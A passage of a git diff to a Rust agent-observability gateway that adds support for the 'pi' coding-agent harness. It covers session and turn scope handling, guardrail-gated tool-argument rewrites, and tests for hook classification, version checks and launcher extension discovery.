self.session_started = false; // Agent end is queued after turn end on the serial dispatcher. Waiting for the later // receipt therefore covers both terminal events without a process-wide flush. Ok(agent_delivery.or(turn_delivery)) } + // Closes what the idle sweeper found, which is normally the open turn. + // + // A session no harness lifecycle event ever announced has no turn to close: for a harness + // with an explicit turn start, a mark opens only the agent scope, so closing the turn alone + // would leave that scope -- and the session holding it -- resident until process shutdown. + // Sessions the harness *did* announce are left alone, because sitting at an idle prompt + // between turns is normal and closing the session there would split one run into two traces. + async fn close_idle_scopes_for_reason( + &mut self, + reason: &str, + ) -> Result<(Vec, Option), CliError> { + let (closed_subagents, turn_delivery) = self.close_turn_for_reason(reason).await?; + if !self.holds_only_an_unannounced_agent_scope() { + return Ok((closed_subagents, turn_delivery)); + } + let agent_delivery = self.close_agent_scope(json!({ "status": reason }), None)?; + Ok((closed_subagents, agent_delivery.or(turn_delivery))) + } + + // Whether this session's only content is an agent scope no harness lifecycle event asked for. + // + // `turn_index` stays at zero until the first turn opens, so a session that did real work + // keeps its agent scope even when its session-start hook was lost -- without that guard, a + // later `turn_start` would open a second agent scope on the same stack and split the trace. + fn holds_only_an_unannounced_agent_scope(&self) -> bool { + !self.session_started + && self.turn_index == 0 + && self.agent_scope.is_some() + && self.turn_scope.is_none() + && self.subagents.is_empty() + && self.subagent_stacks.is_empty() + && self.subagent_stack.is_empty() + && self.llms.is_empty() + && self.tools.is_empty() + && self.active_gateway_calls == 0 + } + async fn close_for_shutdown(&mut self, reason: &str) -> Result<(), CliError> { let stack = self.scope_stack.clone(); let payload = json!({ "status": reason }); @@ -1215,7 +1319,7 @@ impl Session { } let _ = self.close_turn_for_reason(reason).await?; self.clear_correlation_state(); - let _ = self.close_agent_scope(payload)?; + let _ = self.close_agent_scope(payload, None)?; self.session_started = false; Ok(()) }) @@ -1285,9 +1389,15 @@ impl Session { // Ends the root agent scope when present. Duplicate agent-end hooks can reach this path after the // scope is already gone, so absence is treated as a no-op. + // Takes the closing hook's metadata for the same reason `close_turn_scope` does: a scope end + // otherwise repeats the metadata its scope was *opened* with, so pi's session end named + // `session_start` as the hook that produced it and bucketing ATOF by `hook_event_name` never + // yielded a session end. Synthetic closes pass `None` and keep the opening identity, because + // no hook stands behind them. fn close_agent_scope( &mut self, payload: Value, + boundary_metadata: Option, ) -> Result, CliError> { let Some(scope) = self.agent_scope.take() else { return Ok(None); @@ -1296,6 +1406,7 @@ impl Session { PopScopeParams::builder() .handle_uuid(&scope.uuid) .output(payload) + .metadata_opt(boundary_metadata) .build(), )?; Ok(Some(subscriber_delivery)) @@ -1478,7 +1589,7 @@ impl Session { // scope. Duplicate tool IDs are ignored so repeated pre-tool hooks do not create parallel // handles for one agent tool invocation. async fn start_tool(&mut self, event: ToolEvent) -> Result<(), CliError> { - self.ensure_turn_started(event.metadata.clone())?; + self.ensure_tool_scope_started(event.metadata.clone())?; if self.tools.contains_key(&event.tool_call_id) { return Ok(()); } @@ -1492,10 +1603,39 @@ impl Session { } else { event.arguments }; + tool_conditional_execution(event.tool_name.as_str(), &arguments).await?; + + // Guardrails decide whether the call runs; request intercepts decide what it runs with. + // Only worth running for a harness that can actually execute the rewrite -- see + // `AgentKind::applies_tool_argument_transforms`. The transformed arguments become the + // span's arguments too, so the trace records what will execute rather than what was + // proposed. + // + // The verdict above is on the arguments the harness proposed, and the chain is + // deliberately not re-run on the rewrite. That is the order a managed `tool_call_execute` + // uses, so a hook-driven tool call is gated exactly as an in-process one is. An intercept + // is policy, not something policy has to defend against -- re-deciding here would fork + // the middleware contract for one harness, and would evaluate every conditional guardrail + // twice, emitting two guardrail scope pairs and billing an LLM-judge guardrail twice for + // one call. + let mut rewrite = None; + let arguments = if self.agent_kind.applies_tool_argument_transforms() { + let transformed = + tool_request_intercepts(event.tool_name.as_str(), arguments.clone()).await?; + if transformed != arguments { + rewrite = Some(ToolArgumentTransform { + tool_call_id: event.tool_call_id.clone(), + arguments: transformed.clone(), + }); + } + transformed + } else { + arguments + }; + let active_tool_arguments = arguments.clone(); let active_tool_name = event.tool_name.clone(); let active_tool_owner_subagent_id = owner.subagent_id.clone(); - tool_conditional_execution(event.tool_name.as_str(), &arguments).await?; let metadata = tool_correlation_metadata( self.event_identity_metadata(event.metadata), owner.status, @@ -1522,13 +1662,23 @@ impl Session { owner_subagent_id: active_tool_owner_subagent_id, }, ); + // Published only once the start cannot fail. The field lives on the session until a hook + // response drains it, so a rewrite recorded before a failing start would ride out on the + // *next* response instead -- where the extension's `tool_call_id` echo reads it as + // another call's rewrite and refuses that call. + // + // The failing branch has no test of its own, deliberately: `tool_call` is fallible only + // through process-global state, so inducing it would corrupt every other test in this + // binary. What is pinned instead is the invariant on the success side -- a rewrite reaches + // exactly one hook response, never the next one. + self.tool_argument_transform = rewrite; Ok(()) } // Ends a tool call, synthesizing a start if no matching handle exists. This keeps post-only // hooks observable and preserves the final result/status instead of dropping orphaned endings. async fn end_tool(&mut self, event: ToolEvent) -> Result, CliError> { - self.ensure_turn_started(event.metadata.clone())?; + self.ensure_tool_scope_started(event.metadata.clone())?; let event_metadata = self.event_identity_metadata(event.metadata.clone()); let completed_agent_subagent_id = alignment::completed_subagent_from_tool(&event); let explicit_subagent_id = event @@ -1630,10 +1780,28 @@ impl Session { .filter(|subagent_id| self.subagents.contains_key(subagent_id)) } - // Emits a mark event after ensuring the turn scope exists. Generic and unknown hooks use this - // path so unsupported agent events remain visible without changing scope structure. + /// Hand over any rewrite produced while applying this batch, clearing it. + /// + /// Taken rather than read so a later hook on the same session cannot re-apply a stale + /// transform to a different tool call. + fn take_tool_argument_transform(&mut self) -> Option { + self.tool_argument_transform.take() + } + + // Emits a mark event after ensuring an enclosing scope exists. Generic and unknown hooks use + // this path so unsupported agent events remain visible without changing scope structure. + // + // Which scope encloses it depends on the harness. Codex and Claude Code report no turn start, + // so a mark has to open the turn it belongs to or it would have nowhere to land. pi does + // report one, and for it a mark arriving between turns is genuinely between turns -- run-level + // events such as `agent_end` and `agent_settled` trail the last `turn_end`, and opening a turn + // for them produced an empty turn scope at the end of every run. fn mark(&mut self, name: &str, event_payload: SessionEvent) -> Result<(), CliError> { - self.ensure_turn_started(event_payload.metadata.clone())?; + if self.agent_kind.has_explicit_turn_start() { + self.ensure_agent_started(event_payload.metadata.clone())?; + } else { + self.ensure_turn_started(event_payload.metadata.clone())?; + } emit_mark_event( EmitMarkEventParams::builder() .name(name) diff --git a/crates/cli/src/sessions/routing.rs b/crates/cli/src/sessions/routing.rs index 4a2aa6d81..96f285c31 100644 --- a/crates/cli/src/sessions/routing.rs +++ b/crates/cli/src/sessions/routing.rs @@ -15,7 +15,7 @@ use crate::configuration::SessionConfig; use crate::error::CliError; use crate::events::{AgentKind, NormalizedEvent, SessionEvent}; -use super::{LlmGatewayStart, Session}; +use super::{LlmGatewayStart, Session, ToolArgumentTransform}; pub(super) fn apply_start_alias(start: &mut LlmGatewayStart, alias: &SessionAlias) { start.session_id = Some(alias.parent_session_id.clone()); @@ -56,7 +56,14 @@ pub(super) async fn apply_event_to_session( event_kind: AgentKind, config: SessionConfig, is_agent_started: bool, -) -> Result<(bool, Option), CliError> { +) -> Result< + ( + bool, + Option, + Option, + ), + CliError, +> { let session = sessions .entry(session_id.to_string()) .or_insert_with(|| Session::new(session_id.to_string(), event_kind, config)); @@ -67,7 +74,12 @@ pub(super) async fn apply_event_to_session( session.agent_kind = event_kind; } let subscriber_delivery = session.apply(event).await?; - Ok((session.is_empty(), subscriber_delivery)) + let tool_argument_transform = session.take_tool_argument_transform(); + Ok(( + session.is_empty(), + subscriber_delivery, + tool_argument_transform, + )) } pub(super) async fn promote_pending_subagents_for_parent( diff --git a/crates/cli/tests/cli_tests.rs b/crates/cli/tests/cli_tests.rs index 8f107848a..07ada027f 100644 --- a/crates/cli/tests/cli_tests.rs +++ b/crates/cli/tests/cli_tests.rs @@ -1792,7 +1792,10 @@ fn cli_agents_json_emits_supported_agent_shapes() { .iter() .map(|agent| agent["name"].as_str().unwrap()) .collect::>(); - assert_eq!(names, std::collections::BTreeSet::from(["claude", "codex"])); + assert_eq!( + names, + std::collections::BTreeSet::from(["claude", "codex", "pi"]) + ); assert!(agents.iter().all(|agent| agent["status"].is_string())); } diff --git a/crates/cli/tests/coverage/agents/adapters_tests.rs b/crates/cli/tests/coverage/agents/adapters_tests.rs index 7dc2cc576..4738a5503 100644 --- a/crates/cli/tests/coverage/agents/adapters_tests.rs +++ b/crates/cli/tests/coverage/agents/adapters_tests.rs @@ -5,7 +5,7 @@ use axum::http::HeaderMap; use serde_json::json; use super::*; -use crate::agents::shared::adapters::{claude_code, codex}; +use crate::agents::shared::adapters::{claude_code, codex, pi}; #[test] fn maps_claude_canonical_tool_payload() { @@ -1055,3 +1055,246 @@ fn json_path_lookups_handle_empty_strings_arrays_and_deep_nesting() { None ); } + +// -------------------------------------------------------------------------- +// pi turn boundaries, compaction, and attempt attribution +// -------------------------------------------------------------------------- + +// pi is the only harness that reports the *opening* of a turn. Before this was classified the +// gateway opened the turn implicitly on whichever event arrived first, which was `agent_start` +// on the first attempt and `turn_start` on later ones -- the same trace, two different +// boundaries. +#[test] +fn pi_turn_start_opens_the_turn_and_turn_end_closes_it() { + let started = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "turn_start", + "turn_index": 0, + "turn_seq": 3, + "attempt_index": 1 + }), + &HeaderMap::new(), + ); + assert!( + matches!(started.events.as_slice(), [NormalizedEvent::TurnStarted(_)]), + "pi turn_start must open the turn scope. events: {:?}", + started.events + ); + + let ended = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "turn_end", + "turn_index": 0, + "turn_seq": 3, + "attempt_index": 1 + }), + &HeaderMap::new(), + ); + // The close still emits its primary event plus the shared TurnEnded, exactly as `Stop` does. + assert!( + ended + .events + .iter() + .any(|event| matches!(event, NormalizedEvent::TurnEnded(_))), + "pi turn_end must close the turn scope. events: {:?}", + ended.events + ); +} + +// `agent_settled` ends a logical agent run, which can span several turns. Classifying it as a +// turn boundary would merge every re-entry attempt into one turn. +#[test] +fn pi_agent_lifecycle_hooks_stay_marks_not_turn_boundaries() { + for event_name in ["agent_start", "agent_end", "agent_settled"] { + let outcome = pi::adapt( + json!({ "session_id": "pi-session", "hook_event_name": event_name }), + &HeaderMap::new(), + ); + assert!( + matches!(outcome.events.as_slice(), [NormalizedEvent::HookMark(_)]), + "{event_name} must stay a mark. events: {:?}", + outcome.events + ); + } +} + +// pi announces a compaction before doing it, and any extension loading after this one can still +// cancel it. Only the completed event is a compaction to the runtime, which treats one as proof +// the context was rebuilt. +#[test] +fn pi_compaction_is_classified_only_once_it_has_happened() { + let announced = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "session_before_compact", + "reason": "threshold", + "will_retry": false + }), + &HeaderMap::new(), + ); + assert!( + matches!(announced.events.as_slice(), [NormalizedEvent::HookMark(_)]), + "session_before_compact must stay a mark. events: {:?}", + announced.events + ); + + let completed = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "session_compact", + "reason": "threshold", + "will_retry": true + }), + &HeaderMap::new(), + ); + assert!( + matches!( + completed.events.as_slice(), + [NormalizedEvent::Compaction(_)] + ), + "session_compact must be a compaction. events: {:?}", + completed.events + ); +} + +// pi's bang-prefixed inline shell never reaches the tool registry, so it never fires `tool_call` +// and none of the tool gating covers it. It is classified as a tool boundary so the same +// conditional-execution guardrail chain decides it; the close is synthesized by the extension, +// because pi reports no completion for inline shell. +#[test] +fn pi_inline_shell_is_classified_as_a_tool_boundary() { + let started = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "user_bash", + "tool_call_id": "user-bash-0", + "tool_name": "user_bash", + "input": { "command": "git status", "cwd": "/work", "exclude_from_context": false } + }), + &HeaderMap::new(), + ); + match started.events.as_slice() { + [NormalizedEvent::ToolStarted(event)] => { + // The name a guardrail matches on. Deliberately not `bash`: a policy has to be able to + // tell a command the user typed from one the model proposed, and the guardrail chain + // sees only the name and the arguments. + assert_eq!(event.tool_name, "user_bash"); + assert_eq!(event.arguments["command"], json!("git status")); + } + events => panic!("user_bash must open a tool span. events: {events:?}"), + } + + let ended = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "user_bash_end", + "tool_call_id": "user-bash-0", + "tool_name": "user_bash", + "status": "error" + }), + &HeaderMap::new(), + ); + assert!( + matches!(ended.events.as_slice(), [NormalizedEvent::ToolEnded(_)]), + "user_bash_end must close the tool span. events: {:?}", + ended.events + ); +} + +// The promotion is what makes attribution survive on tool events at all: the session manager +// builds tool spans from the extracted call id, name, arguments, result and metadata, and drops +// the raw payload. Without this the keys would be accepted on the wire and silently discarded. +#[test] +fn pi_attempt_attribution_is_promoted_from_payload_into_metadata() { + let outcome = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "tool_call", + "tool_call_id": "call-1", + "tool_name": "read", + "input": { "path": "README.md" }, + "attempt_index": 2, + "turn_seq": 5 + }), + &HeaderMap::new(), + ); + match &outcome.events[0] { + NormalizedEvent::ToolStarted(event) => { + assert_eq!(event.metadata["attempt_index"], json!(2)); + assert_eq!(event.metadata["turn_seq"], json!(5)); + } + event => panic!("unexpected event: {event:?}"), + } +} + +// Counters only. A string here would put an untyped field into observability metadata that every +// consumer then has to defend against, and pi's own `turn_index` is deliberately never promoted +// because the gateway assigns its own to the turn scope. +#[test] +fn pi_attribution_promotion_ignores_non_numeric_and_foreign_keys() { + let outcome = pi::adapt( + json!({ + "session_id": "pi-session", + "hook_event_name": "turn_end", + "attempt_index": "one", + "turn_seq": null, + "turn_index": 4 + }), + &HeaderMap::new(), + ); + match &outcome.events[0] { + NormalizedEvent::HookMark(event) => { + assert!(event.metadata.get("attempt_index").is_none()); + assert!(event.metadata.get("turn_seq").is_none()); + assert!( + event.metadata.get("turn_index").is_none(), + "pi's resetting turn_index must not collide with the gateway's own" + ); + // The raw values stay on the payload, which is what mark events record as `data`. + assert_eq!(event.payload["turn_index"], json!(4)); + } + event => panic!("unexpected event: {event:?}"), + } +} + +// Codex and Claude Code share the classification machinery, so the two lists pi introduced must +// stay inert for them: `PreCompact`/`PostCompact` continue through the shared fallback, and +// neither harness gains a turn-start event it never sends. +#[test] +fn turn_start_and_compaction_rules_stay_inert_for_codex_and_claude() { + for outcome in [ + codex::adapt( + json!({ "session_id": "codex-session", "hook_event_name": "PreCompact" }), + &HeaderMap::new(), + ), + claude_code::adapt( + json!({ "session_id": "claude-session", "hook_event_name": "PostCompact" }), + &HeaderMap::new(), + ), + ] { + assert!( + matches!(outcome.events.as_slice(), [NormalizedEvent::Compaction(_)]), + "compaction must still classify through the shared fallback. events: {:?}", + outcome.events + ); + } + + for outcome in [ + codex::adapt( + json!({ "session_id": "codex-session", "hook_event_name": "turn_start" }), + &HeaderMap::new(), + ), + claude_code::adapt( + json!({ "session_id": "claude-session", "hook_event_name": "turn_start" }), + &HeaderMap::new(), + ), + ] { + assert!( + matches!(outcome.events.as_slice(), [NormalizedEvent::HookMark(_)]), + "only pi declares turn_start. events: {:?}", + outcome.events + ); + } +} diff --git a/crates/cli/tests/coverage/agents/alignment_tests.rs b/crates/cli/tests/coverage/agents/alignment_tests.rs index e7f810a26..f097f06e0 100644 --- a/crates/cli/tests/coverage/agents/alignment_tests.rs +++ b/crates/cli/tests/coverage/agents/alignment_tests.rs @@ -453,6 +453,10 @@ fn route_event_through_alias_covers_all_event_variants() { let cases = vec![ NormalizedEvent::AgentStarted(session_event("child", "SessionStart")), NormalizedEvent::AgentEnded(session_event("child", "SessionEnd")), + // Only pi reports a turn start, and unlike `TurnEnded` it must not close the alias -- + // there is nothing for the parent to finish on it. Routing never looks at the agent + // kind, so the shared fixture still exercises the arm. + NormalizedEvent::TurnStarted(session_event("child", "turn_start")), NormalizedEvent::TurnEnded(session_event("child", "Stop")), NormalizedEvent::PromptSubmitted(session_event("child", "Prompt")), NormalizedEvent::Compaction(session_event("child", "Compact")), @@ -491,7 +495,8 @@ fn route_event_through_alias_covers_all_event_variants() { NormalizedEvent::ToolStarted(event) | NormalizedEvent::ToolEnded(event) => { assert_eq!(event.subagent_id.as_deref(), Some("child")); } - NormalizedEvent::TurnEnded(_) + NormalizedEvent::TurnStarted(_) + | NormalizedEvent::TurnEnded(_) | NormalizedEvent::PromptSubmitted(_) | NormalizedEvent::Compaction(_) | NormalizedEvent::Notification(_) @@ -763,6 +768,7 @@ fn event_metadata(event: &NormalizedEvent) -> &Value { match event { NormalizedEvent::AgentStarted(event) | NormalizedEvent::AgentEnded(event) + | NormalizedEvent::TurnStarted(event) | NormalizedEvent::TurnEnded(event) | NormalizedEvent::PromptSubmitted(event) | NormalizedEvent::Compaction(event) diff --git a/crates/cli/tests/coverage/agents/coding_agent_tests.rs b/crates/cli/tests/coverage/agents/coding_agent_tests.rs index 63538f2ba..3d598caa6 100644 --- a/crates/cli/tests/coverage/agents/coding_agent_tests.rs +++ b/crates/cli/tests/coverage/agents/coding_agent_tests.rs @@ -10,14 +10,19 @@ fn agent_descriptors_are_complete_and_unique() { let executables = CodingAgent::ALL.map(CodingAgent::executable); let hook_paths = CodingAgent::ALL.map(CodingAgent::hook_path); - assert_eq!(arguments, ["claude", "codex"]); - assert_eq!(install_arguments, ["claude-code", "codex"]); - assert_eq!(executables, ["claude", "codex"]); - assert_eq!(hook_paths, ["/hooks/claude-code", "/hooks/codex"]); + assert_eq!(arguments, ["claude", "codex", "pi"]); + assert_eq!(install_arguments, ["claude-code", "codex", "pi"]); + assert_eq!(executables, ["claude", "codex", "pi"]); + assert_eq!( + hook_paths, + ["/hooks/claude-code", "/hooks/codex", "/hooks/pi"] + ); assert_eq!(CodingAgent::ClaudeCode.label(), "Claude Code"); assert_eq!(CodingAgent::Codex.label(), "Codex"); assert_eq!(CodingAgent::ClaudeCode.hook_events().len(), 14); assert_eq!(CodingAgent::Codex.hook_events().len(), 10); + assert_eq!(CodingAgent::Pi.label(), "pi"); + assert_eq!(CodingAgent::Pi.hook_events().len(), 15); for agent in CodingAgent::ALL { let events = agent.hook_events(); assert!(events.iter().all(|event| !event.is_empty())); @@ -37,6 +42,9 @@ fn centralized_minimum_versions_accept_stable_boundaries() { let cases = [ (CodingAgent::ClaudeCode, "2.1.121 (Claude Code)"), (CodingAgent::Codex, "codex-cli 0.143.0"), + // pi prints the bare version and nothing else, so there is no product token to match -- + // an accept path neither of the others exercises. + (CodingAgent::Pi, "0.84.0"), ]; for (agent, output) in cases { @@ -47,6 +55,46 @@ fn centralized_minimum_versions_accept_stable_boundaries() { } } +// The floor alone said "supported" for any stable version above it, which is right for a host +// whose minors are additive and wrong for one that can move a hook shape in a minor. pi is the +// second kind: above 0.84.x it is untested, and the symptom of a broken hook shape is missing +// spans rather than an error, so silence is the worst possible report. +#[test] +fn a_minor_above_the_verified_band_is_reported_as_unverified_without_being_rejected() { + let newer = CodingAgent::Pi.validate_version_output("0.85.0").unwrap(); + let note = CodingAgent::Pi + .unverified_version(&newer) + .expect("a newer pi minor must be reported"); + assert!( + note.contains("0.84"), + "the note should name the verified band: {note}" + ); + + // Still accepted: refusing would make a user downgrade pi to use Relay at all. + assert!(CodingAgent::Pi.validate_version_output("0.85.0").is_ok()); + assert!(CodingAgent::Pi.validate_version_output("1.0.0").is_ok()); + + // Inside the band, nothing to say -- including a patch above the floor. + for inside in ["0.84.0", "0.84.7"] { + let version = CodingAgent::Pi.validate_version_output(inside).unwrap(); + assert_eq!( + CodingAgent::Pi.unverified_version(&version), + None, + "{inside}" + ); + } + + // Claude Code and Codex declare no verified band, because their minors are additive. + // Without this, adding a band to the descriptor would silently start warning for them. + for (agent, newer) in [ + (CodingAgent::ClaudeCode, "99.0.0 (Claude Code)"), + (CodingAgent::Codex, "codex-cli 99.0.0"), + ] { + let version = agent.validate_version_output(newer).unwrap(); + assert_eq!(agent.unverified_version(&version), None, "{agent:?}"); + } +} + #[test] fn centralized_minimum_versions_reject_old_prerelease_and_malformed_output() { let cases = [ @@ -55,6 +103,11 @@ fn centralized_minimum_versions_reject_old_prerelease_and_malformed_output() { (CodingAgent::ClaudeCode, "2.1.121 (Other Agent)"), (CodingAgent::Codex, "codex-cli 0.142.9"), (CodingAgent::Codex, "codex-cli 0.143.0-alpha.1"), + (CodingAgent::Pi, "0.83.9"), + (CodingAgent::Pi, "0.84.0-alpha.1"), + // A prefixed line is not something pi emits, so it is a parse failure rather than an + // old-version rejection. + (CodingAgent::Pi, "pi 0.84.0"), ]; for (agent, output) in cases { diff --git a/crates/cli/tests/coverage/agents/launcher_tests.rs b/crates/cli/tests/coverage/agents/launcher_tests.rs index d747cb8ca..bf8f9bf65 100644 --- a/crates/cli/tests/coverage/agents/launcher_tests.rs +++ b/crates/cli/tests/coverage/agents/launcher_tests.rs @@ -98,6 +98,30 @@ fn infers_agent_from_command_or_uses_override() { assert_eq!(agent, CodingAgent::ClaudeCode); } +// pi was added to `CodingAgent` without being added here, so `nemo-relay run -- pi` +// failed while the identical Claude and Codex forms worked -- and the error named +// only those two, so nothing pointed at the cause. +#[test] +fn infers_pi_from_a_bare_name_a_path_or_a_windows_suffix() { + for command in [ + "pi", + "/usr/local/bin/pi", + "PI", + "pi.exe", + r"C:\tools\pi.cmd", + ] { + assert_eq!( + CodingAgent::infer(command), + Some(CodingAgent::Pi), + "should infer pi from {command}" + ); + } + // Not a false positive magnet: only the exact basename counts. + for command in ["pip", "pipx", "mypi", "pi-sbx"] { + assert_eq!(CodingAgent::infer(command), None, "{command} is not pi"); + } +} + #[test] fn uses_configured_command_when_no_argv_is_supplied() { let agents = AgentConfigs { @@ -1640,3 +1664,260 @@ fn make_executable(path: &Path) { permissions.set_mode(0o755); std::fs::set_permissions(path, permissions).unwrap(); } + +// The extension redirects pi's model traffic only when the gateway forwards to the endpoint the +// selected model would otherwise call. It cannot discover that on its own -- the gateway resolves +// one upstream per API family from static configuration and strips client-supplied dispatch +// headers -- so the launcher has to tell it. Without these two variables the extension has no safe +// basis to redirect and deliberately stays put, which shows up as a session with no LLM spans. +#[test] +fn pi_launch_passes_the_gateway_upstreams_the_extension_redirects_against() { + let _guard = current_dir_lock().lock().unwrap(); + let temp = tempfile::tempdir().unwrap(); + let extension = write_relay_pi_package(&temp.path().join("checkout")); + // Pin pi's agent directory at an empty one: the launcher now falls back to a + // user-scope install, so a developer's own would otherwise decide this result. + let empty_agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&empty_agent_dir).unwrap(); + let _env = EnvScope::set(&[ + ( + crate::agents::pi::launch::PI_EXTENSION_PATH_ENV, + Some(extension.as_os_str()), + ), + ( + crate::agents::pi::doctor::PI_AGENT_DIR_ENV, + Some(empty_agent_dir.as_os_str()), + ), + ]); + + let resolved = ResolvedConfig { + gateway: GatewayConfig { + openai_base_url: "https://integrate.api.nvidia.com/v1".into(), + anthropic_base_url: "https://anthropic.internal.example/".into(), + ..GatewayConfig::default() + }, + agents: AgentConfigs::default(), + ..ResolvedConfig::default() + }; + let prepared = PreparedAgentLaunch::new( + CodingAgent::Pi, + vec!["pi".into()], + "http://127.0.0.1:4040", + &resolved, + false, + ) + .unwrap(); + + let env = |name: &str| { + prepared + .env + .iter() + .find(|(key, _)| key == name) + .map(|(_, value)| value.as_str()) + }; + assert_eq!( + env(crate::agents::pi::launch::PI_OPENAI_UPSTREAM_ENV), + Some("https://integrate.api.nvidia.com/v1"), + ); + assert_eq!( + env(crate::agents::pi::launch::PI_ANTHROPIC_UPSTREAM_ENV), + Some("https://anthropic.internal.example/"), + ); + assert_eq!( + env(crate::agents::pi::launch::PI_GATEWAY_URL_ENV), + Some("http://127.0.0.1:4040"), + ); + + // The note has to state the condition, not promise LLM spans: a model on any other provider + // keeps calling its own endpoint. + let note = prepared.notes.join(" "); + assert!( + note.contains("https://integrate.api.nvidia.com/v1"), + "the launch note should name the upstream redirection is judged against: {note}" + ); +} + +/// A directory pi resolves as this extension: a manifest naming it, beside an +/// entry point. Returns the entry point, which is what `-e` is pointed at. +fn write_relay_pi_package(dir: &std::path::Path) -> std::path::PathBuf { + std::fs::create_dir_all(dir).unwrap(); + std::fs::write(dir.join("package.json"), r#"{"name": "nemo-relay-pi"}"#).unwrap(); + let entry = dir.join("index.ts"); + std::fs::write(&entry, "export default () => {};").unwrap(); + entry +} + +// The install routes the README documents -- `pi install ` and a file drop +// into `~/.pi/agent/extensions/` -- set no environment variable, and no document +// tells a user to set one. While launching read only that variable, `doctor` +// reported the extension as ready and the launcher refused to start. +#[test] +fn pi_launch_finds_a_user_scope_install_without_an_environment_variable() { + let _guard = current_dir_lock().lock().unwrap(); + let temp = tempfile::tempdir().unwrap(); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_pi_package(&installed); + let _env = EnvScope::set(&[ + (crate::agents::pi::launch::PI_EXTENSION_PATH_ENV, None), + ( + crate::agents::pi::doctor::PI_AGENT_DIR_ENV, + Some(agent_dir.as_os_str()), + ), + ]); + + let prepared = PreparedAgentLaunch::new( + CodingAgent::Pi, + vec!["pi".into()], + "http://127.0.0.1:4040", + &ResolvedConfig::default(), + false, + ) + .unwrap(); + + // pi de-duplicates the merged command-line and discovered extension sets by + // canonical path, so passing `-e` for something it would have found anyway + // loads it once -- and keeps the load working under `--no-extensions`. + let rendered = installed.display().to_string(); + assert!( + prepared + .argv + .windows(2) + .any(|pair| pair[0] == "-e" && pair[1] == rendered), + "a user-scope install must be launchable: {:?}", + prepared.argv + ); +} + +// `-e` adds to pi's set rather than replacing it, and pi de-duplicates by path, not by package, +// so a second distinct copy loads beside the launched one and every hook is posted twice -- each +// turn closed as superseded by its own duplicate. Nothing suppresses discovery from here without +// also dropping the user's own extensions, so the launch is refused and both copies are named. +#[test] +fn pi_launch_refuses_when_two_copies_would_load() { + let _guard = current_dir_lock().lock().unwrap(); + let temp = tempfile::tempdir().unwrap(); + let explicit = write_relay_pi_package(&temp.path().join("checkout")); + let agent_dir = temp.path().join("agent"); + let installed = agent_dir.join("extensions").join("nemo-relay"); + write_relay_pi_package(&installed); + let _env = EnvScope::set(&[ + ( + crate::agents::pi::launch::PI_EXTENSION_PATH_ENV, + Some(explicit.as_os_str()), + ), + ( + crate::agents::pi::doctor::PI_AGENT_DIR_ENV, + Some(agent_dir.as_os_str()), + ), + ]); + + let prepared = PreparedAgentLaunch::new( + CodingAgent::Pi, + vec!["pi".into()], + "http://127.0.0.1:4040", + &ResolvedConfig::default(), + false, + ); + + let Err(error) = prepared else { + panic!("a second distinct copy must refuse the launch"); + }; + let message = error.to_string(); + // Both paths, because the user has to pick one and cannot without knowing where they are. + assert!( + message.contains(&explicit.display().to_string()) + && message.contains(&installed.display().to_string()), + "the launch error should name both copies: {message}" + ); +} + +// The note describes a *second* copy, so it must not fire for a project entry pi's settings +// switch off (it never loads) nor for one that canonicalizes to the launched package (pi +// de-duplicates by path, so it loads once). +#[test] +fn a_project_copy_that_cannot_double_the_trace_is_not_noted() { + let _guard = current_dir_lock().lock().unwrap(); + let temp = tempfile::tempdir().unwrap(); + let project = temp.path().join("project"); + let shared = project.join(".pi").join("extensions").join("nemo-relay"); + write_relay_pi_package(&shared); + // A project settings entry pointing at a copy whose extensions are filtered off. + std::fs::create_dir_all(project.join(".pi")).unwrap(); + write_relay_pi_package(&project.join("off")); + std::fs::write( + project.join(".pi").join("settings.json"), + r#"{"packages": [{"source": "../off", "extensions": []}]}"#, + ) + .unwrap(); + let empty_agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&empty_agent_dir).unwrap(); + // Launch the very copy the project holds, so the remaining project site is the same package. + let _env = EnvScope::set(&[ + ( + crate::agents::pi::launch::PI_EXTENSION_PATH_ENV, + Some(shared.as_os_str()), + ), + ( + crate::agents::pi::doctor::PI_AGENT_DIR_ENV, + Some(empty_agent_dir.as_os_str()), + ), + ]); + let previous = std::env::current_dir().unwrap(); + std::env::set_current_dir(&project).unwrap(); + + let prepared = PreparedAgentLaunch::new( + CodingAgent::Pi, + vec!["pi".into()], + "http://127.0.0.1:4040", + &ResolvedConfig::default(), + false, + ); + + std::env::set_current_dir(previous).unwrap(); + let prepared = prepared.expect("the same package reached twice is one copy"); + let notes = prepared.notes.join(" "); + assert!( + !notes.contains("second copy of this extension under the project"), + "neither project site can double the trace: {notes}" + ); +} + +// `-e` is never trust-gated. Promoting a project-scoped install to it would run +// repository code pi itself declined to trust, which is the failure the preflight +// exists to warn about rather than to work around. +#[test] +fn pi_launch_refuses_to_promote_a_project_scoped_install() { + let _guard = current_dir_lock().lock().unwrap(); + let temp = tempfile::tempdir().unwrap(); + let project = temp.path().join("project"); + write_relay_pi_package(&project.join(".pi").join("extensions").join("nemo-relay")); + let empty_agent_dir = temp.path().join("agent"); + std::fs::create_dir_all(&empty_agent_dir).unwrap(); + let _env = EnvScope::set(&[ + (crate::agents::pi::launch::PI_EXTENSION_PATH_ENV, None), + ( + crate::agents::pi::doctor::PI_AGENT_DIR_ENV, + Some(empty_agent_dir.as_os_str()), + ), + ]); + let previous = std::env::current_dir().unwrap(); + std::env::set_current_dir(&project).unwrap(); + + let prepared = PreparedAgentLaunch::new( + CodingAgent::Pi, + vec!["pi".into()], + "http://127.0.0.1:4040", + &ResolvedConfig::default(), + false, + ); + + std::env::set_current_dir(previous).unwrap(); + let Err(error) = prepared else { + panic!("a project-scoped install must not be promoted to `-e`"); + }; + assert!( + error.to_string().contains("trust-gated"), + "the launch error should say why the install it can see was not used: {error}" + ); +} diff --git a/crates/cli/tests/coverage/agents/pi_doctor_tests.rs b/crates/cli/tests/coverage/agents/pi_doctor_tests.rs new file mode 100644 index 000000000..5d24ec19f --- /dev/null +++ 